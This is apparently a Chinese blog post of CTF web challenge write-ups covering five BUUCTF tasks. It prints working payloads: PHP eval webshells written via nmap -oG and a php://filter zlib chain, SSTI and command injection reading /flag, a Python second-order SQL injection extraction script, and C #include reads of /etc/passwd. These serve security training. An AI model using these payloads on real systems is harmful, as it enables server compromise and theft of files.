4 web wp

[BUUCTF 2018]Online Tool 1

源码如下

<?php

if (isset($_SERVER['HTTP_X_FORWARDED_FOR'])) {
    $_SERVER['REMOTE_ADDR'] = $_SERVER['HTTP_X_FORWARDED_FOR'];
}

if(!isset($_GET['host'])) {
    highlight_file(__FILE__);
} else {
    $host = $_GET['host'];
    $host = escapeshellarg($host);
    $host = escapeshellcmd($host);
    $sandbox = md5("glzjin". $_SERVER['REMOTE_ADDR']);
    echo 'you are in sandbox '.$sandbox;
    @mkdir($sandbox);
    chdir($sandbox);
    echo system("nmap -T5 -sT -Pn --host-timeout 2 -F ".$host);
}

一.

$_SERVER["REMOTE_ADDR"]获取客户端的 IP地址;
$_SERVER['HTTP_X_FORWARDED_FOR']是透过代理服务器获取客户端真实IP地址;
若未设置GET传入参数host的值,将显示源码;
变量$host经过escapeshellar()与escapeshellcmd()方法防止注入参数
二.

代码整体功能:
1,首先判断客户端提供给服务器和服务器自动获取的ip是否一致。
2,判断get host参数时候传值,没有传值高亮当前代码。
3,传值,host传递参数经过escapeshellarg,escapeshellcmd函数的限制。
4,以’glzjin’+ip通过md5加密形成值,并作为文件名创建文件,当前文件地址更改为创建的文件
5,输出 system执行结果。

三.

函数escapeshellarg的作用是把字符串转码为可以在 shell 命令里使用的参数,即先对单引号转义,再用单引号将左右两部分括起来从而起到连接的作用。

函数escapeshellcmd() 对字符串中可能会欺骗 shell 命令执行任意命令的字符进行转义。 此函数保证用户输入的数据在传送到 exec() 或 system() 函数,或者 执行操作符 之前进行转义。

四.

利用nmap写入文件 写入一句话。

构造' <?= @eval($_POST["hack"]);?> -oG hack.php '

后访问得到的d1e0978564e0f852d007e7261b37f3b8下的shell.php    post:1=system('cat /flag');

得到flag

[BJDCTF2020]The mystery of ip 1

一.浏览网页,发现flag里面有ip  和题目ip的秘密对应

二.想到X-Forwarded-For或者client-ip,打开bp试一下,发现通过X-Forwarded-For可以改变页面的ip显示

三.利用SSTI模板注入

{{}}在Jinja2中作为变量包裹标识符,Jinja2在渲染的时候会把{{}}包裹的内容当做变量解析替换。比如{{1+1}}会被解析成2。如此一来就可以实现如同sql注入一样的注入漏洞。

所以直接来{system('ls')}

可用

之后上{system('cat /flag')} 没有过滤,直接得到flag

flag{cbba49b5-83b3-40c8-ba00-a995d7a96318}

[WMCTF2020]Web Check in 2.0

打开后出现源码

string(62) "Sandbox:/var/www/html/sandbox/f9e1016a5cec370aae6a18d438dabfa5" <?php
//PHP 7.0.33 Apache/2.4.25
error_reporting(0);
$sandbox = '/var/www/html/sandbox/' . md5($_SERVER['REMOTE_ADDR']);
@mkdir($sandbox);
@chdir($sandbox);
var_dump("Sandbox:".$sandbox);
highlight_file(__FILE__);
if(isset($_GET['content'])) {
    $content = $_GET['content'];
    if(preg_match('/iconv|UCS|UTF|rot|quoted|base64/i',$content))
         die('hacker');
    if(file_exists($content))
        require_once($content);
    file_put_contents($content,'<?php exit();'.$content);
}

看到file_put_contents函数,我们很容易想到利用此函数写入shell,但这里的死亡<?php exit();让我们十分难的写入webshell,但我们利用好php://filter是可以绕过此限制的

这里的过滤器过滤了‘/iconv|UCS|UTF|rot|quoted|base64/’,但预留了zlib、bzip2、string等过滤器, php:filter ⽀持使⽤多个过滤器,所以可以利⽤ zlib 的 zlib.deflate 和 zlib.inflate 来做,中间插⼊string.tolower转后会把空格和exit处理了就可以绕过<?php exit();而php标签内的'%0d',是因为php标签是独立的,需要与php代码分割开而%0d是换行的url编码,可以用来分割

payload:?content=php://filter/zlib.deflate|string.tolower|zlib.inflate|?%3E%3C?php%0Deval($_POST[pass]);?%3E/resource=shell.php

再通过蚁剑连接后,得到flag
 

[网鼎杯2018]Unfinish

1

1判断,应当是个sql注入,盲猜一下注册页面存在register.php, 果然有,而且可以注册,应是二次注入,尝试一下。发现输入,information,会出现nonono!!!,输入%23,#,--等出现页面没自动跳转到login.php,也就是注册没成功。没有information意味着不能显示出表...,真的不会,看了下WP,使用了'0'+ascii输出显示,并且盲猜了flag表。

2.自己试试,可以

编写脚本
 

import requests
import re
from time import sleep
from bs4 import BeautifulSoup
 
 
def flag():
    flag = ''
    url = 'http://2e0a2363-377a-46a6-9183-370acb55ef7c.node4.buuoj.cn:81/'
    url1 = url + 'register.php'
    url2 = url + 'login.php'
    for i in range(1, 100):
        sleep(0.5)
        data1 = {"email": f"aiwin{i}@163.com",
                 "username": f"0'+ascii(substr((select * from flag) from {i} for 1))+'0;", "password": "1"}
        data2 = {"email": f"aiwin{i}@163.com", "password": "1"}
        response_regiseter = requests.post(url1, data=data1)
        response_login = requests.post(url2, data=data2)
        bs = BeautifulSoup(response_login.text, 'html.parser')  # bs4解析页面
        username = bs.find('span', class_='user-name')  # 取返回页面数据的span class=user-name属性
        number = username.text  # 取该属性的数字
        flag += chr(int(number))
        print(flag)
 
 
if __name__ == '__main__':
    flag()

运算得到flag

[FireshellCTF2020]Caas

1

进入可以看到是一个编译器

1.可以输入文本

以为ssti模板,但是{{8*8}}报错,输出 print什么的也不能用

无奈,看看报错信息

2.下载/tmp目录下的,class_7eamm1tu3.c文件

思路到这里就断了,其实可以猜到flag在服务器的某个文件下,也许就是/flag,但是不知道怎么读取,难道是一个c语言漏洞么,感觉给出的文件又看不懂

看了别人的考的是c语言的预处理

3.利用include预处理将我们所需的文件包含进来

试试 #include "/etc/passwd" 

报错信息提示我们用<>或者双引号包含文件名

#include </proc/self/cmdline> 看一下执行什么命令  没什么用

直接/flag ,发现尖括号报错信息没出来,但是双引号可以 从而得到flag

  • 0
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值